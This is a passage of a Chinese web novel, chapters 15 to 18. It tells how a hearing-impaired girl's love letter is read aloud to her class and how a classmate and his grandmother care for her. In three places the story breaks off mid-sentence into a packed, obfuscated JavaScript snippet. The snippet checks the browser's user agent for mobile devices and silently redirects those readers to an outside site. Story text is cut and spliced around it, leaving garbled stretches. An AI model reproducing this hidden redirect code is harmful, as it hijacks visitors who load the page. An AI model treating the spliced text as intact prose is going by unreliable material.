她想说些什么来表达感谢,但一到关键时刻嗓子发不出声音,倒显得那些官方式的感谢话十分潦草敷衍。嗓子卡住,慢慢憋成眼泪,倒流至心房燃起一片炽火,云竹的内心似乎有什么在燃烧,是感动亦是亏欠,捉摸不透的感情形影迷离,像血管交织缠绕在一起,无法分辨。 云竹只好原地沉默着,沉默着,沉默着。 从两三岁时发高烧没人管,久病成疾,病到无人在意,左耳失聪后也不敢对家人说,妈妈脾气火大,云竹先是纠结地告诉了父亲云义,谁知云义只是嫌弃地看了她一样,并无过多的感情。寒心举动让云竹以为自己不是他的亲女儿。 最终这件事情遮遮掩掩被苏琦发现,先是将她打了一顿,扣扣搜搜从贫瘠的生活费中节省出几千块钱买了一个品质最差的助听器,好歹能用。 这是第一次比她具有血缘关系的家人,还要出手还要大方带着关心感情的人。 云竹也感到自己很傻,傻到不愿意承认的程度。单单几千块钱就被勾走了心思,但无法反驳,她的确需要助听器来维持正常生活需要的一切。太久不戴助听器,产生身体方面其他危害,得不偿失。 “你在哪里买的?”云竹声音艰涩。 “闲逛时随便看到一条街。”谭以南长话短说。 “那我以后再攒一攒吧,再努力攒一攒钱,我就把钱还给你。”云竹暗暗下定决心。 “为什么要还?”谭以南瞥了她一眼。 “……欠人几千块钱,不好,你我非亲非故的,用不着给我买这么贵的东西。十分感谢你,我以后会还的。” “不用还。云竹,我说了,不用还。” 云竹越说越流利,不知道哪里来的勇气,从前和人讲话从来都是被动状态,难得这次有主动出击的机会:“可是,谁家的钱都不是家里大风刮来的,这是你父母给你的零花钱买的吗?花了这么多钱,你怎么和你父母……”交代? 谭以南依旧神情淡淡,语气如何云竹暂时没想到如何形容,听他这话,如同只是叙述了一个毫不相干的事情:“不用交代,他们乐意用钱打发我,我也愿意随便花钱。就算是死了,我也愿意把所有的钱捐给没有黑幕的慈善机构,捐给当地的福利院,那些所谓的势利眼亲戚,我一分也不给。” “……” 见谭以南如此有自己的一套说辞,云竹也不好站在刀剑枪口上和他争论。于是她换了一个说法。 “那你以后,零花钱都花在你本身上吧,不用给我买,我虽然经济没有你富足,但正常的生活还是能自理的,我能养活我自己。” “嗯。” 单单一个“嗯”。 云竹也不知道谭以南到底听进去了没有。他说话时,眼底那片沉下去的、让人看不懂的东西,像这筒子楼角落里悄然蔓延的、无声的苔藓。 苔藓再一次淋雨是在第二天。 云竹早早背起书包,出发前特意查看了情书带了没有,好端端夹在文具盒中,古诗词鉴赏版的原版情书,同样夹在文具盒中。不同颜色不同质地的两张纸,一眼便能认出。 刚把书包整理在桌子旁的挂钩上,身边坐的程慕急不可耐凑过来,神秘兮兮地说:“诶诶云竹,你写了没有?” 正处课间,云竹应了声,回答间拿出文具盒,拉开拉链,两张折叠好的情书端端正正放在夹层。 程慕边说边全部拿走情书,“我看看你抄写的啊。” 折的四四方方的情书一下一下被翻开,第一份手帐纸明显是云竹亲笔写的,女孩清秀挺立的字迹宛若游云,让程慕眼前一亮,直接开口说道:“我去!云竹我就说你能出一份字帖吧,说!你是不是报过练字班?” 云竹默默看着程慕两眼发光的模样,双手握着纸张,一副看到惊世骇俗的珍宝一样,她不禁感到好笑,原来青春时期真的有人会因为一封情书而动摇感情。 下一刻,坐在凳子上的云竹算是体验到了什么叫做晴天霹雳,脑门如同被一阵闪电劈开,暴雨从全身流到脚下——没等到程慕反应过来,后桌和海湖打闹互殴的男生见状,一把扯过情书! 云竹眉心一跳,脑子空白,下意识站起身去夺。两人之间呈斜线状,隔着一套课桌椅,无疑是拿不到的。程慕也转身去夺,身体往前倾斜的同时,还隔着一个海湖当挡箭牌。 眼睛男同样也是一副眼睛大放光彩的模样,往后退几步,大喊“我靠啊这么劲爆”,还故意大声用奇怪的声音当着全班的面念出来:“亲爱的谭以南同学,你好——不知道你记不记得我,但是不记得也没关系,希望这封情书你能耐心看完——” 大声念完后还原地蹦哒几下,两指一搓还搓出另一份,活生生像峨眉山的癫猴子,“我靠,是情书啊!还是两份!程慕没想到你居然会是写情书的人,还偏偏装文艺去写情书哈哈哈!你是不是又要搞网络上流行的伤痛文艺女人设?” 云竹一下子瘫坐在凳子上,豆大汗珠从头皮滴落至肩上,低着头,不敢去面对坐在教室里最后面的谭以南。 她想过是用什么方式送出去,是一个课间,是一个偶遇,是放学回家路上的碰巧,是在王婆婆家吃完饭的休息时刻,是写作业时不经意间的开口…… 但万万没想到是以这种方式开场,更重要的是,楚彩写的那一份也被夺走沦为男生们的笑料。 悲剧性质的闹剧继续上演,教室里的听众窃窃私语,前几排的同学忍不住笑,低声捂着嘴巴说些什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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班里低笑声音不断:“那一份很精致的是谁写的?我收作业的时候几乎没印象,是不是外班送过来被程慕劫走了?啧啧啧手打桃花啊。” 后排有一个女生眼睛一亮,响亮大嗓门面向全班吆喝:“我想起来我想起来了!我之前抄过那个字写得难看的人的语文卷子,是楚彩!” 班里再次掀起波涛。 “哇靠居然是楚彩!那种大美女居然也搞小说里面的暗恋啊!” “程慕和楚彩关系挺好的吧?什么昔日好友喜欢上了同一个男人,秒变情敌的狗血戏码!太刺激了!” “……” 窃窃私语钻进云竹耳畔,她头一次感受到戴上助听器的坏处。有些事情、有些言论,听得太清楚不是好事。 怎么办…… 是不是她又做错了什么? 早知道刚刚不把文具盒拿出来了。 云竹脑子一片乱麻,复杂的念头一股劲地涌出。 程慕彻底炸了:“喂喂!第一份不是我写的!不是我写的!你们别泼脏水给我啊。” 云竹浑身剧烈地颤抖,事到如今事情连续发酵的没有回转余地,这件乌龙情书事件彻底脱离她们三个人的掌控,一到明天,程慕和楚彩两个人必然成为全校人的饭后谈资。 她无比清楚程慕的燥脾气,无法忍受外界带来铺天盖地的议论和脏水,程慕一人给赵子龙和海湖一个大嘴巴子,“你们是傻逼吗?!啊?写情书的不是我,不是我!我的字没有这么好看啊!我没练过字。” 云竹心中那股隐隐约约爆炸的劲愈发强烈,她捂住心口,想要逃避的念头深深存在,颤颤地生长,发芽。 “那是谁写的?”有人不依不饶,从程慕嘴里套出话。 程慕理所当然跳进套中,“是、是云竹!” 是云竹写的情书! 云竹瞳孔瞬间紧缩,全身的毛孔都在叫嚣着反抗。 有人哗然总结:“我靠!真劲爆啊!云竹和楚彩同时喜欢上了谭以南!” 云竹以为没有比这更难堪的事情了。 然而下一秒教室门被推开,送作业回来的楚彩,一只手搭在门把手上,另一只手紧紧握紧,指甲泛白。 她骇然望着教室对角线的云竹。 16.Chapter 16 窗外的烈阳头一次这么刺眼晃人。 把腐烂在地里、搅混在杂念中的恶欲暴露在空气,不断放大,呈现在每个过路人的眼中。 闭上眼睛,它从感官传递。 捂住耳朵,它从肢体感受传递。 裹住全身,它从心理恐惧传递。 而这三种恐慌,正在以肉眼不可见的高速同时发生在云竹身上。 程慕好似被砸中脑袋,醒悟过来才反应刚刚说了什么,但无从解释,只能哑声沉默着,不敢看云竹的神态。云竹帮楚彩给谭以南重新写了一份情书是真,事件缩成为云竹给谭以南写情书也没有什么大的差别,无非是多了个传递人。 而楚彩更无从有冤,是云竹和程慕先保证会完成任务,楚彩仅仅在整个情书事件里起到了一个引领人的作用,程慕负责后手,而真正办事的人是云竹。 而计划失败,云竹既没有成功帮楚彩传递给谭以南情书,也没有保守好这个秘密。程慕推波助澜恰到好处,她没有义务去顶替写情书的人的名义。 楚彩死死地盯着云竹。 云竹怯怯地看地砖。 全班视线混杂,但清一色在三个当事人身上来回游走,角落里时不时发出的“啧啧”声,和小心翼翼议论的嗤笑声,无时不刻化成针尖刺入云竹最敏感的部位。 怎么会这样…… 怎么会这样。 云竹不敢抬头去看楚彩的神情,她没有胆量,没有足够的胆量和勇气,是她有错在先,是她没有保管好这个不为第四者知晓的秘密。 空气在夏天渐渐粘稠成看不见的面糊,皮肤上渗出汗水,云竹感到眼眶渐渐模糊,哦,她又哭了,总是这样没用,只会哭哭哭,什么事情也干不好,背刺了这份友谊。 地砖的缝隙也瞧不大清楚。 汗液从毛孔渗出时,皮肉中的狰狞溃败也在尽力纷涌而出。 对不起。 对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起! 是她…… 是她! 是她自己!! 一切都是她错在先。 这句荆棘般的束缚将云竹的肉|体和人格契合,捆绑在一起。 电影慢镜头般,时间线缓缓拉长,云竹脑袋垂得发疼,楚彩才小声开口,在寂静的环境中,语气也裹挟着反意,听得真切。 “云竹。” “你为什么要瞒着我?你明明能拒绝我的,可是你为什么耍我?” 我没有耍你,不是这样的。 话偏偏卡到嘴边说不出来,只能啰啰嗦嗦发出呜咽的声音。 有人注意到云竹耳边的新款助听器。 “云竹有听障吗?需要助听器,看起来好新啊,是刚买的吗?我记得开学填名单的时候,她家条件不太好。” “我也记得,我有个发小和她同一个班,好像是因为期末考试没有助听器,导致考试总成绩失了几十分才被分到这个班。” 云竹大口大口喘着气,说话的音量连身边站着的程慕也听不到,“对不起……楚彩,真的很对不起……” 楚彩没有给云竹任何机会,当然也可能是前面给够了云竹解释的时间却没有得到回复,以冷场收尾。更可能是巧合——云竹开口的瞬间,楚彩转身,拽走自己写的那份情书,抱着手里的文件夹重重摔门而去。 * 这件事好巧不巧传开了。 要死不死,传给的第一个人正是谭以南。 他在学习长期请假,很少有朋友在身边。回到教室时,书籍乱放的桌面上赫然摆着手帐纸情书。事情的发展经过,从一路走向教室,在连廊上受到身边同学投来异样的眼光,加以细微零碎的言语,他便推测出来了大概。 这份皱皱巴巴的情书,看得出来,颇有硬度和纸面磨砂度的纸张经过了接受人的磨难。清秀隽丽的字迹在纸面显得歪歪扭扭,和云竹本人极具相似,略显拧巴。 他没在意。 拾起来,趁着夜色放进口袋。 回到王婆婆家时,云竹显然不在这里,她无处可去,每天在楼上和这里两个地方徘徊,那一定是在楼上待着。 王婆婆戴着围腰,用手巾擦手,“南南,云竹丫头今天请假啦?怎么没见她回来?” 谭以南面色淡淡,他做什么事都是一副淡淡的神情,眼底藏着看不出的情绪,“嗯。” “嗯什么?”王婆婆皱眉,叉着腰出来,眉毛竖起,“我警告你,你可别欺负人家小姑娘嗷,人家家里本来就不太好,要多关心关心人家,你们男娃子就是能折腾,粗心大意,说话不过脑子,那孩子心里敏感,但心地善良……” 谭以南打断王婆婆:“我去楼上一趟。” “哎?你可别找云竹妈妈的事啊,你这脾气一上来,我看着你长大的,比谁都清楚!”王婆婆说着便要拦。 “我马上回来。”谭以南低低咳嗽几声。 上了三楼,谭以南看着面前的深黑色大铁门紧闭,也不管云竹的妈妈在不在家,抬手敲门。 “咚咚咚——” 蜷缩在被窝里的云竹没动静。摘下助听器后便掀起被子盖住脑袋,整个人小小的,在床上滚来滚去,卷成一个蛹,也不在意家里没有空调热不热。 谭以南再次敲门。 云竹隐隐约约听到门外有动静,可能是悲伤过度导致的幻听,也可能是外面真的有人。但就是不想出来,宁愿死死地住在被窝里也不愿意去开门,和人沟通的欲望几乎为零。 算了,就这样吧。云竹的脑袋钻进枕头下面。是物业还是妈妈回来了都没关系,她现在只想一个人好好待着。搁在旁边的手机时不时发出微信消息提示音和电话铃声,云竹迷迷蒙蒙从被子里探出一只手,吹起被子一角,看到来电人是程慕,顿时便开启静音模式。 是程慕在外面吧。云竹一个人也不想见,哪怕是王婆婆在外面敲门,也是陷在被窝里不出来。 凌晨时分,云竹睡不着觉,从被窝里爬出来,坐在床垫上,打开手机。微信那边,程慕发了好多,一眼看下去,清一色在说“对不起云竹但当时真的没办法”之类的道歉,云竹已读未回。 苏琦:【我今晚不回家。】 又把她一个人丢在家里。想起初端,苏琦可是每晚喝完酒后便回家耍酒疯,这一段时间倒是奇怪的很,经常夜不归宿,但云竹没有资格去说什么,只好低头沉默。 打开门,楼道外。 梧桐树,叶隙间。 晨夜风静谧钻进筒子楼内,直直往云竹面上扑来,她脑子清醒了半分,一眨眼,视野中不知从哪里飘出一张便签。 云竹蹲下拾起。 便签上的字迹排列整齐,笔画锋利潇洒,具有强烈的个人风格。 【王婆婆让我给你捎一份春卷菜饼,记得吃。】 是谭以南写的。 他什么时间段过来的,云竹没有一点印象,是像之前赔手账本那样站在这里等了很久,还是上楼来到这里贴了便签把晚饭放下就走?云竹不得而知,她蹲下|身子,打开旁边放的小纸箱子,塑料袋包裹着晚饭,袋里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049623|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热气糊了一整个塑料纸。 云竹不由得内心感叹:王婆婆对她简直比亲生父母还要好上许多。血缘关系的羁绊不亚于两个人相处不到三年的亲密,陌生的关心爱意化作废料滋养腐烂的春芽。 可云竹无以回报。 她什么都没有,没有钱,没有能帮上忙的。 她一无所有。 这就造成了一种不可逆的反向关系:王婆婆对云竹越好,云竹越愧疚。她清楚世界上没有人会对另一个人无缘无故的好,但是云竹无法回报,能回报的仅仅是普通的洗菜做饭洗衣服刷碗。 这种关系不对等。 不对等的关系终究不长久。 剔透的水珠滴落在热气氤氲的塑料袋,窸窸窣窣的声响在楼道里分外明显。云竹很快抬手抹泪,她想快速长大,要是长大一点,再长大一点,等成年了,等考上大学就能兼职一份工作,为爱她的人分担一点辛苦。 心情沉闷泛着咸咸的苦涩,云竹将便签扔进箱子内,抱着谭以南送上来的晚饭,右手关门。她将客厅里的折叠桌子简简单单收拾完,晚饭搁在桌面。 手机传来电话铃声。 云竹看了一眼来电人,是苏琦。她点了接通键,随手搁在凳子边。 电话那头吵闹非凡,男男女女的嬉笑声从传声筒传入云竹耳畔。接通后苏琦没有第一时间和云竹说话,吵杂的背景音隐隐约约能听出来她正在骂人。 云竹开口:“喂,妈妈。” 苏琦这才反应过来:“你这几天找个地方出去住。” 那天只是不让她回家,这次又要把她赶出去了? 云竹摩挲着裤子,不知作何回答,苏琦像是通知一声。 她不能总是依赖王婆婆,吃她做的饭住她的房子,更何况,王婆婆家里还有外孙谭以南。云竹一去那里,饶是他们两个人表面上不说什么,但时间长了,必然会造成不便。 于是云竹怯生生开口:“我没有地方能去。” 苏琦一听脾气就上来了,“我管你住哪里呢?!听见没?” 电话另一边的人传来嘻嘻哈哈的笑声,还有个粗糙的男声调侃道:“苏琦啊,你家还有个女儿啊。” 苏琦居然没有回怼过去,反而尬笑了几声:“亲戚家的,亲戚家的,小孩子不懂事,家里有玩具不愿意走。” 云竹还想争取一下,大不了被打一顿也不愿意给别人添麻烦,“那、妈妈,我能问问为什么吗?” 苏琦难得心情好了点:“家里有客人来,要谈工作,你一个小孩子懂什么?说了你也不懂。” 云竹内心不安越发强烈,索性破罐子摔碎,不知道哪里诞生的勇气促使她继续问道:“是什么工作还需要住在我们家里?” 苏琦皱了下眉,美艳的面孔倒是显出几分生气,在外人面前不方便爆粗口,她捂住传声筒,“你管那么多!就是需要在家里住几天,这两天你不用回来,你要是敢回来敲门你试试!看我不打死你!” 云竹静默几秒,看向窗外隐藏在树丛中的月亮,“我不会回来。” “嘟嘟”两声,电话挂断。 再次绑开塑料袋时,晚饭凉了大半,云竹也没有心情去厨房里找微波炉加热饭菜,就这样就这凉吃饭。 吃了几口便没了食欲,云竹的纤细手指夹住塑料袋简单打个结,便扔进垃圾桶,再回来时,起保温作用的小箱子里粘贴的便签背面翘起,墨色字迹在背面渗出墨水。 云竹撕下来,看到便签背面写着。 【我看到你写给我的情书了。我听见了,你的心意。】 17.Chapter 17 程慕很早来到学校,没有了以往的生机勃勃,一如反常地低着头,双手搭在校服裤子上,无声地盯着桌兜边缘露出来的书籍。 情书乌龙事件最初传的沸沸扬扬,整个班全场直播围观。年轻气盛的高中生最喜欢刺激,以夸张的说辞引起旁人注意,结束后有不少同学回味无穷,甚至添油加醋地讲给隔壁班人。 后桌海湖和赵子龙知道程慕是两位当事人的好友,趁着课间特意去打听后续。 结果当然是—— “滚滚滚!都给我滚远点!”程慕头也不回地喊道。 后面围着的吃瓜群众见状灰溜溜跑走。 云竹踏进教室门槛时,看到的便是这样一番景象。卸下书包,坐到位置上,昔日好友如今见面无话可说,难免唏嘘。 自然也没有什么好说的,强行解释反而会使事情的发酵程度加快。程慕瞟了她一眼,欲言又止,云竹一言不发,准备听课。 最终还是前桌王荼淑看不下去两人冷战局面,在大课间扭过头来,尴尬地随便提起一个话题:“你们……今天中午吃什么?” 万能话题总是好用。 “米饭。”程慕依然撅着嘴。 云竹没吭声。 “哎哎,云竹,你有没有加入我们‘康师傅忠实粉丝后援会’群聊啊?里面全是我们小组成员,等到放寒假了班主任需要每天打卡组长确认。”王荼淑说道,她晃着程慕摆在桌子上的水瓶,“要不等放假了,程慕把你拉进来?” 燕国地图还挺短的。 云竹摇摇头,表示不用了。 程慕再也坐不住了,转过头对云竹说道:“云竹,昨天我给你发的消息,你看到没有?” 云竹毫无反应,依旧做题。 程慕坐在她的右边。见状,站起身,身子一斜,特意去看了下云竹左耳戴的助听器,“既然戴了,那不可能没听到我说的话啊……” 云竹细眉一蹙,颇为恼怒地看着程慕。同桌此大幅度举动刚刚踢着凳子,发出铁质碰撞的尖锐声响,班里好几个同学回过头看。也就是说,好多人因为听力条件反射回头看到了——程慕在确认云竹的助听器是否佩戴。 “你干什么?”云竹努力平复努力。 “我以为你没听到。”程慕实话实说。 “你刚刚那一下,班里所有人都知道我戴助听器了。”云竹喉咙嘶哑,声线里带着不易觉察的颤抖。 “这有什么?刚进班里时,你填的信息大家不都知道?”程慕还是没理解云竹生气的点,简直可以说得上莫名其妙。 “这不一样。” “怎么不一样?大家不也是没说什么。” “……”云竹欲张口却紧闭薄唇,顿时丧失了所有解释的欲望。 程慕还是一副莫名其妙的眼神看着她,从昨天到现在,云竹都不对劲。之前云竹从来不会已读不回消息,但昨晚压根一条消息都没有回复,而且今天早上好端端地又生气。 怎么会这样?不是已经道过歉了吗? 是昨晚她手机没电了,所以没有看到吗? 临近中午,两个人还是一句话也没说。两张紧贴的桌子上有了一道隐形的三八线,程慕从上午那个小争辩后,一直到中午,都没有在和云竹说过一句话。 云竹同样也是。 中午静校铃声打响,班里楚彩请假,云竹帮忙收发作业。抱着一摞听写本走在教室,分发本子时,云竹明显感觉到身上带有微妙意味的视线,这种感觉令人不适,但她也没办法说出口,也不知道如何说。 走到谭以南的位置上,第六感瞬间收集到更多的视线凝聚在她身上。 云竹屏住呼吸,知道很多人包括程慕和楚彩都在根据她的一言一行分析细节,但云竹清楚的知道,压根没有关系,只是同学……只是同学?她的思想动摇,也不清楚,或许是得了接近谭以南就会不知所措的病。 “谭以南。”云竹叫了他的名字。 长腿交叠在课桌下面的谭以南闻声抬头,右手支着下颚,随后双手接过她递过来的听写本。 只不过,好像内页松散,几张纸摇摇欲坠。 “谢谢。”谭以南道谢。却发现本子意外拿不动,他抬起眼盯着云竹。 云竹艰涩开口:“你的历史听写……没过关,让老师撕了。” 谭以南:“……”好。 云竹接着说:“历史老师让你下课去她办公室一趟。” 谭以南又说好。 云竹还是没走。 谭以南:“还有什么事?” 云竹不知道这时间应不应该开口,但总觉得,再耽搁一些时候,有些东西错过了就再也无法相遇了,“我、我……” 谭以南耐心听着。 外面有值班老师在巡查,不关发作业的云竹的事情。班里安静了许多,纷纷收回看戏的视线。 云竹:“谢谢你帮忙送过来的晚饭,我昨晚一个人在卧室,没听到敲门声。” 春秋笔法,隐去了她在卧室没有戴助听器的事实,“助听器”这三个字像是值于心脏上的玻璃纤维,无法用镊子拔掉,也无法用指甲拔出。 一旦提起这三个字,哪怕是在大街上,云竹下意识会提心吊胆恐惧指的是自己,因为身体缺陷而被人们注意到的感受,实在是这辈子不想再体验到。 “姥姥让我送去的,说你昨晚没来家里。”谭以南不急不慢说道。云竹很喜欢听谭以南说话,嗓音好听是加分项,但最重要的是他说话沉稳,和这意气风发、咋咋呼呼的年龄大相径庭,倒是形成了别样的对比。 “嗯……也帮我谢谢王婆婆,她对我很好。”云竹摸摸鼻子,顿了顿,继续说道,“以后不用做我的饭了。” “理由?” “我不想再麻烦你们。” “这算哪门子理由?” “反正就是……我给你们带来了不便,我一个外人到王婆婆家蹭吃蹭喝,这种行为,很不好。” 谭以南笑了,“我倒是还想谢谢你。” 这回换成了云竹疑惑,“为什么?” 谭以南静静地盯着她的眼眸,像是被深邃的昏光吸进去般,他晃了晃神,“我家在外省,我说不定哪天就走了。姥姥一个人在家,没伴侣没人陪,对她来说,你的存在也是有意义、有纪念价值,起码她不孤独了,活得有奔头。” 云竹一时不知道如何回复,抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053753|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下的听写本,愣在原地。 连廊上风吹起办公室前的盆栽,绿叶摇摇欲坠。 她嘴唇微动,“你、你要去哪里?” 谭以南连一个眼神都没给她,乌压压的眼睫遮住神采,静静地盯着听写本,“去哪里……” 随后他轻轻一笑,“下一步当然是去历史老师办公室纠错。” 云竹摇摇头,“你知道,我问得不是这个。” 谭以南眼也没抬:“那是哪个?我没空去猜你的心思。” 云竹知道谭以南不会正面回答,强行逼问只会适得其反。她低着头,摩挲听写本的棕色牛皮纸封面,“王婆婆会想你的。” 她突如其来说了这么一句。 谭以南:“……” 云竹不知道他为什么沉默,只好闭口不言。 气氛再次陷入沉默。 云竹憋屈的很,她不知道为什么每次和谭以南聊天总会把话题聊死。是她太敏感了吗?还是独来独往惯了,不会主动聊天?一定还有其他话题的……一定还有。 谭以南简简单单收拾完桌面上的卷子,“多少年没回老家了,姥姥明显更想你。” 云竹欲反驳,但无从下口。 真嘴笨,她懊恼,只好空出的一只手抓紧校服下摆。 “咳咳咳……”谭以南脸色苍白,他不自禁将衣袖往下伸展,好似要覆盖整个手臂,“你还是住在姥姥家吧,就当是为了她一个老人。” 谭以南让云竹住在王婆婆家。 这是一个暂时令人安心的回答。 然而变故就发生在周五。 风吹树冠,摇摇晃晃,秋水映天。云竹是周五的教室值日生,下午五点钟放学后,她一个人擦黑板倒垃圾整理桌凳。拍拍手上的粉笔灰,背起书包往家里走时,意外收到王婆婆打来的电话。 先是愣了一下,云竹眨眨眼睛,直觉告诉她并不是什么好消息,要做好心理准备,但云竹一直认为自己天生倒霉蛋体质,再大的倒霉事情也总会熬过去,总会有天光大亮的时刻。 所以她想都没想,按下接听键:“王婆婆你好。” “云竹丫头啊,总算是放学了!”王婆婆那边脚步声匆忙,但背景音的电扇风声滋滋不断传到传声筒中,嘈杂音颇大,云竹不由得将电话放得近了一些。 “那个什么,云竹丫头,晚上家里有点事情,你先到外头转转啊,那个什么就当透透气,学校里空气不好,你多出去走走就当锻炼身体啦!”王婆婆平常说话挺流利,这次打电话却是磕磕绊绊,“我把饭做好了就给你打电话,告诉你一声后你再回来啊。” 云竹不清楚理由,只好换了种问法:“王婆婆,那需要我帮忙洗菜切菜吗?” 王婆婆:“不不不!那不用了,你在外面待会就好。” 一副言语未尽的模样。 云竹蹙起眉,倒是担心王婆婆出了什么事,“王婆婆,你是……身体不舒服吗?” 老年人经常磕着碰着也正常,像王婆婆这样的心善老年人,说不定会因为怕她担心自己一个人在家忍受。 想到这里,云竹脚步不自觉加快,“是家里出了什么事吗?我马上快到家了。” 18.Chapter 18 自从那次通话后,谭以南把父母电话双双拉黑,包括谭之颂的电话手表账号。至此,那一通怒骂的电话挂断后,后三天手机跟中了病毒一样,时不时有电话打来。 谭以南扫一眼电话号,骚扰电话直接挂断,家人的电话号码也抬手挂断。 亲人里,他只留了姥姥的电话号码。 事实证明,社交圈少了,麻烦事自然而然地也就少了很多。今年过年也不一定回去,不用走亲戚,不用和八竿子打不着的亲戚们套近乎。能像现在一样好好的活,在姥姥家里包饺子,配小菜,日复一日,过平平淡淡的生活。 然而平淡生活出现转折。 他到姥姥家的第一天,遇到了一个腼腆的……小哑巴,可以说是缺心眼——第一次敲老家门,还以为是认错家门了,后来才知道是过来讨饭的,看样子家里人也不管她。 怎么会有和他这么像的人? 谭以南无力地笑笑,都是命运的弃子,街道上的流浪野犬。 巴掌脸,一双杏核眼,瘦的只剩下骨架似的,整个人像闷闷的小葫芦,严谨点,又像是老实沉闷的山竹果实,暗紫色的果皮,被人打了一顿也看不出什么。 看到他只会低着头,沉默寡言,连开口和人对话都需要勇气。 不知道还以为是小哑巴。 怎么被欺负成这样?谭以南打心底发出疑问,但很快抛之脑后,无关紧要的问题和接下来的日子无关。 听不见声音,原来是有听力障碍,家里人连个助听器都不舍得买一个。谭以南也不知道当时是怎么想的,自掏腰包买了个助听器送给云竹。现在想来,也分析不出原因。 可能是一时兴起吧,但是这个念头又存在好久了。 问了姥姥才知道,小山竹果子估计要寄住在老家。谭以南没管,又不是住他房间里,怎么着都行。姥姥便私下偷偷板着脸,一板一眼地和谭以南说,你这臭脾气,不许欺负人家小姑娘。谭以南听了只觉得好笑,有人欺负她也会觉得没意思,只会掉眼泪把困难打碎往肚子里咽,不会反抗,不会挣扎。 谁知王婆婆嘴皮子厉害得很,瞪着眼睛说道:“那还不珍贵吗?被欺负成这样,也没有自残威胁或报复社会啥的,哭了只有自己哭,没人哄,这丫头打心底就是个善良的娃娃。” 谭以南闻言停下了手里的动作,茶几擦到一半,灰色烂毛巾抹布无力地搭在桌面上,干净的那一部分在灯光下反射|出锃亮的光。 停留片刻,骨节分明的手指扔下抹布,去狭小的卫生间洗洗手,透明水流静静淌在手指关节之间,谭以南盯着不语。 不知道过了多久,他也记不清了,是五分钟,还是十分钟,都忘了,他的记忆力什么时候变得这么差,也忘了。好似从某一天的某一刻开始,他的命运便开始播放。 他目光扫到冰箱旁边的被剪开的矿泉水瓶,半个农夫山泉下半个空瓶内盛满了土壤,土壤表面中央有一两点嫩绿点缀。 “家里怎么还长野草?”谭以南走出洗手间问道。 “啥野草?是我种的菜吧?!”王婆婆闻声赶来,朝他的目光瞥一眼,“噢,是云竹那丫头种的向日葵。” 谭以南仍然不解,“种向日葵,屋内采光不好。” 王婆婆摆摆手,“你就让她种吧,我当时也这样问她,人家姑娘说,这棵向日葵苗苗就是她自己,苗苗能活多久,她就一定能撑过去这段艰难的时光。” 谭以南失笑,但笑的力气也没有了,脸上挂着厌世的漫不经心,“她艰难什么?” 王婆婆叹了口气,“你这孩子……问得真狂。” “我怎么狂?只是问一下,姥姥不想回答,那就不答。” 王婆婆蹲着,手指拨了拨向日葵的嫩芽,“唉……这件事瞒不了多久,我都看到了,这几天也打算,让云竹丫头做个心理准备,但总是话到嘴边,不知道咋说。我这心那,一抽一抽的,你说你们这俩娃娃,咋活得真难?” 谭以南没理,转身离去。 王婆婆独自哀叹几声,至于她在惋惜什么,只有年老的女人一个人知道。谭以南觉察到她心情不佳,去烧了一壶水,客厅响彻烧水壶的喘息。 老年机的凤凰传奇铃声打断烧水壶的悲泣。 “苍茫的天涯是我的爱——” 谭以南闻声一瞥来电人,默不作声。等到王婆婆过来,才烦躁的说一句:“是我妈。” “诶呦,那接,你接,我刚洗完手,手湿着呢,不敢接电话。”王婆婆两眼发光,丝毫不知道谭以南和他妈妈的矛盾。 谭以南欲言又止,见王婆婆起身去了卫生间擦手,只好起身拿起老年机,接通电话。下一刻,熟悉的妇人声音传来:“喂?妈,是我。” 客厅里烧水壶的不再为云竹悲泣,转变为破碎的母子情悲鸣。 “喂?喂喂?听不见声音吗?我就说该换个老年机啊,这都多老的牌子了,咱妈不愿意换,那又有什么法子?” 谭以南依旧一字不吭。 还是王婆婆急急忙忙擦完手,一路赶过来,拿过手机,“哎哎,来了来了。” “妈你在啊,我刚刚还以为你这手机又出毛病了,接通了听不见声音。”对面的女声顿了顿,背景音嘈杂,偶尔有摩托车呼啸而过的声音,“我们现在在路上,等会回老家,这不快国庆节了吗?我们公司估计还会加班,提前来看看你,顺便看看南南。” 王婆婆大为惊喜,情不自禁把手机免提开到最大,就为了让谭以南听得更清楚一些,“诶好好好,那你们晚上在不在这里吃饭啊?我给你们做点汤面条,啊,西红柿鸡丝拌面,家里还有几箱纯牛奶,啊。” “不了不了妈,我们在这坐一会就走,等会还要送颂颂上兴趣班呢。” 两人电话里叙叙旧,谭以南实在没心情听,起身离开,他对拥有血缘羁绊的一家人是有感情,只不过随着时间的推移和种种事件的性质变化而淡薄。用父母的话说是,白眼狼,谭以南听后笑了,说自己确实是白眼狼,没有和弟弟一样有讨人喜欢的性格,不会说排场话,他觉得酒场上的大人们都虚伪做作。 